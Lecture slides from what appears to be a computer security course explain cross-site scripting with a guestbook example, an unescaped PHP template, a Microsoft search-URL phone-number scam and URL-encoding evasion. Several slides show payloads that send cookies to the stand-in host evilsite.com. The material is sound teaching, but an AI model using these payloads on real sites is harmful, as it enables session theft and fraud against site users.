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First, the news… 

▪ First 5 minutes we talk about something interesting and recent

▪ You will not be tested on the news part of lecture

▪ You may use news as an example on tests

▪ Why do this? 

1. Some students show up late for various good reasons

2. Reward students who show up on time

3. Important to see real world examples
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Data and code are different

Data should not be treated as code

Many attacks work by getting the computer to take in 
data and then treat it as code
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CROSS SITE SCRIPTING (XSS)
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Two types

▪ Persistent 

▪ Attack is semi-permanent on the website

▪ Non-persistent

▪ Attack uses the vulnerable website but isn’t permanent on it
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Classic Persistent XSS Attack
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Guestbook persistent XSS example: Website form

▪ Imagine a guestbook for a website 
implemented with client code shown 

to the right

▪ This code takes text input from the 
user and sends it to the server for 
storage

▪ “from the user” should sound dangerous 

▪ The server then constructs a page 

based on the user-provided strings it 
has.

<html>

<title>Sign My Guestbook</title>

Sign my guestbook!

<form action="sign.php" method="POST">

<input type="text" name="name">

<input type="text" name="message" size="40">

<input type="submit" value="Submit">

</form>

</html>
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Guestbook persistent XSS example: Server

▪ Server stores the new 
guestbook entry

▪ Server constructs the 

guestbook page

▪ Fetches guestbook entries from 
database

▪ Loops through entries

▪ Uses string concatenation to 
join database entries with 
template HTML code

▪ Returns final page to client
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... 
<?php 
// Fetch all guestbook entries 
$result = $conn->query("SELECT name, message 
FROM guestbook ORDER BY created_at DESC"); ?> 

<html> 
  <head>  
    <title>My Guestbook</title> 
  </head> 
  <body>
    Your comments are greatly appreciated! </br>
    Here is what everyone said:</br>

 
    <?php while($row = $result->fetch_assoc()): ?>
      <?= $row['name'] ?>: <?= $row['message'] ?></br>
    <?php endwhile; ?> 

  </body> 
</html> 
... 

New Slide



Guestbook persistent XSS example: Website guestbook

▪ When the guestbook is loaded, the 
server constructs the website and 

sends it to the browser

▪ Example page shown to the right

▪ The browser then executes all the 

code in the webpage

▪ The browser cannot tell if the code is 

from the server, or from one of the 
user inputs. 

<html>

<title>My Guestbook!</title> 

<body>

Your comments are greatly appreciated! <br/>

Here is what everyone said: <br/>

Joe: Hi! <br/>

John: Hellow how are you? <br/>

Jane: How does the guestbook work?<br/>

</body>

</html>
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Simple attacks can work by confusing formatting
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My Guestbook!

Your comments are greatly appreciated!

Here is what everyone said:

Sam: Hello!

Bob: This is a terrible website.

Joe: Hi! John: Hello how are you? 

Jane: How does the guestbook work?

Hello! </br>

Bob: This is a terrible 

website.

Hi Sam, sign my Guestbook!

Submit

▪ Only logged in users can post to the guestbook

▪ Attacker can fake a guest book entry



Simple attacks can work by confusing formatting
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My Guestbook!

Your comments are greatly appreciated!

Here is what everyone said:

Sam: Hello!

Bob: This is a terrible website.

Joe: Hi! John: Hello how are you? 

Jane: How does the guestbook work?

Hello! </br>

Bob: This is a terrible 

website.

Hi Sam, sign my Guestbook!

Submit

▪ Only logged in users can post to the guestbook

▪ Attacker can fake a guest book entry



Guestbook persistent XSS example

▪ The attacker “signs” the guestbook 
but includes some code in their 

message

▪ “Message” is sent to the server and 
stored there

▪ When guestbook asked for, the code 
is delivered along with the message

Hello

<script>

alert("XSS injection!")

</script>
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Sign my Guestbook!

Submit

SamName:



Guestbook persistent XSS example

<html>

<title>My Guestbook!</title> 

<body>

Your comments are greatly appreciated! <br/>

Here is what everyone said: <br/>

Sam: Hello 

<script>alert("XSS injection!")</script> <br/>

Joe: Hi! <br/>

John: Hello how are you? <br/>

Jane: How does the guestbook work?<br/>

</body>

</html>
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Sign my Guestbook!

Your comments are greatly appreciated!

Here is what everyone said:

Sam: Hello 

Joe: Hi! John: Hello how are you? 

Jane: How does the guestbook work?



Guestbook persistent XSS example

<html>

<title>My Guestbook!</title> 

<body>

Your comments are greatly appreciated! <br/>

Here is what everyone said: <br/>

Sam: Hello 

<script>alert("XSS injection!")</script> <br/>

Joe: Hi! <br/>

John: Hello how are you? <br/>

Jane: How does the guestbook work?<br/>

</body>

</html>
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Sign my Guestbook!

Your comments are greatly appreciated!

Here is what everyone said:

Sam: Hello 

Joe: Hi! John: Hello how are you? 

Jane: How does the guestbook work?

XSS injection!

Alert



If the attacker can execute JavaScript…
They can perform any action with the DOM 
(Document Object Model). JavaScript can:

• change all the HTML elements an attributes in the 
page

• change all the CSS styles in the page

• remove existing HTML elements and attributes

• add new HTML elements and attributes

• react to all existing HTML events in the page

• create new HTML events in the page

• read HTML elements, attributes on the page
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https://www.w3schools.com/js/js_htmldom.asp



With JavaScript an attacker could:

▪ Redirect visitors elsewhere, while also stealing their cookies

▪ Create a web bug 

<script> 

document.location = "http://www.evilsite.com/steal.php?cookie="+document.cookie;

</script>
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<script>

img = new image();

img.src = "http://www.evilsite.com/steal.php?cookie="+document.cookie;

</script> 



With JavaScript an attacker could:

▪ Create an iFrame
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<iframe frameborder=0 src="" height=0 width=0 id="XSS" 

name="XSS"></iframe>

<script>

frames["XSS"].location.href="http://www.evilsite.com/steal.php?cookie="+document.cookie;

</script>



Think-pair-share
▪ What prevents browsers from scanning 

for and blocking XSS attacks from 
happening? 
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<html>

<title>My Guestbook!</title> 

<body>

Your comments are greatly appreciated! <br/>

Here is what everyone said: <br/>

Sam: Hello 

<script>alert("XSS injection!")</script> <br/>

Joe: Hi! <br/>

John: Hello how are you? <br/>

Jane: How does the guestbook work?<br/>

</body>

</html>



Classic non-persistent XSS Attack
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Non-persistent XSS

▪ Attack does not persist past the 
attacker (or victim) session

▪ Classic example is a search page that 

echo's the search query

▪ Attacker adds the attack to the GET 

string of the URL

▪ Victim clicks the URL and their 

browser executes the attack code
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https://www.google.com/search?q=computer+security



Dogpile shows the 
raw search term in 
the resulting page. 

Better potential 
target for XSS than 
Google
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https://www.dogpile.com/serp?q=computer+security



Put wrong phone number on a 
legit website
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▪ Search for “Call Us <wrong phone 
number>”



Attack: Put wrong phone number on a legit website
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▪ Attacker buys ad space from Google for 
search terms like "Microsoft tech 

support" 

▪ Ad links to the URL: 
https://www.microsoft.com/en-
ca/search/explore?q=Call+Us+1%3D80

5-749-2108+for+free

▪ Google does not detect attack because 

the link is to a real Microsoft page

New Slide

First few 
“results” are ads

https://www.microsoft.com/en-ca/search/explore?q=Call+Us+1%3D805-749-2108+for+free
https://www.microsoft.com/en-ca/search/explore?q=Call+Us+1%3D805-749-2108+for+free
https://www.microsoft.com/en-ca/search/explore?q=Call+Us+1%3D805-749-2108+for+free
https://www.microsoft.com/en-ca/search/explore?q=Call+Us+1%3D805-749-2108+for+free
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Attack: Put wrong phone number on a legit website
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▪ User clicks the ad and visits: 
https://www.microsoft.com/en-

ca/search/explore?q=Call+Us+1%3D
805-749-2108+for+free

▪ User sees the Microsoft logo and 
correctly assumes this is a real 

Microsoft page

▪ User skims the page for a phone 

number, sees the attacker’s phone 
number, and calls it thinking it is a 

real Microsoft phone number

New Slide

https://www.microsoft.com/en-ca/search/explore?q=Call+Us+1%3D805-749-2108+for+free
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Attack: Put wrong phone number on a legit website
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▪ This attack is such a big problem 
that Google does not show 

“sponsored” content for 
“Microsoft technology support” 

type searches 

New Slide



Searching Dogpile 
for: 

<script>alert("XSS 
injection!")</script> 

resulted in this error. 

Security conscious 
websites scan input 
for XSS attacks
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▪ Similar to the guestbook, the search page XSS attack can be used to redirect 

▪ User thinks they clicked on a safe victimsite.com link, but their browser re-

directs them to evilsite.com 
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http://victimsite.com/search.php?query=<script>document.location

="http://www.evilsite.com/steal.php?cookie="+document.cookie;

</script>



Mitigations
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Sanitize input
Not allow strings like “script”



Input sanitization then leads to more complex input

▪ If the sanitization scripts look for ‘<‘ 
or for ‘<script>’ then attacker avoids 

those strings

▪ URL encoding of characters is one 
solution, every character has a unique 
encoding
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https://www.w3schools.com/tags/ref_urlencode.asp?_sm_au_=iVVDMg0TSmrMV6Dm



Input sanitization then leads to more complex input

▪ If the sanitization scripts look for ‘<‘ 
or for ‘<script>’ then attacker avoids 

those strings

▪ URL encoding of characters is one 
solution, every character has a unique 
encoding

<script>alert("XSS injection!")</script>

%3C%73%63ript%3Ealert%28%22XSS+
injection%21%22%29%3C%2F%73%63r

ipt%3E
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URL 
Encode



Javascript can also write text and push buttons….

▪ Victim of XSS processes the Javacript 
which can then push buttons on their 

behalf

▪ On a vulnerable social networking 
site just posting to friends can lead to 
their browsers executing the XSS

▪ A type of worm can be created via 
XSS and infecting others via post
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XSS attack spread between people
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XSS Vulnerable 
Social Media 

Website

Attacker

Victim

Malicious 
script code

Sent to “friends”

New Victim
Viewed friend post

Sent to “friends”



QUESTIONS
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